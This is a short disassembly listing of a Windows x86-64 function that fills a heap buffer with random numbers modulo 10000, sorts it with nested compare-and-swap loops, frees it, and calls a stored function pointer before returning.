mov rcx, rax
call r9
mov ecx, 0x5ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7fc], 0
jmp 0x140002a02
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x16a
jle 0x1400029b5
mov dword [rbp + 0x7fc], 0
jmp 0x140002b1a
mov dword [rbp + 0x65c], 0
jmp 0x140002afc
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x65c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002af5
mov eax, dword [rbp + 0x65c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x7fc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rbp + 0x65c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x65c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x658]
mov dword [rdx], eax
add dword [rbp + 0x7fc], 1
mov eax, 0x16a
sub eax, dword [rbp + 0x7fc]
cmp dword [rbp + 0x65c], eax
jl 0x140002a2c
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x16a
jle 0x140002a1d
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f0
pop rsi
pop rdi
pop rbp
ret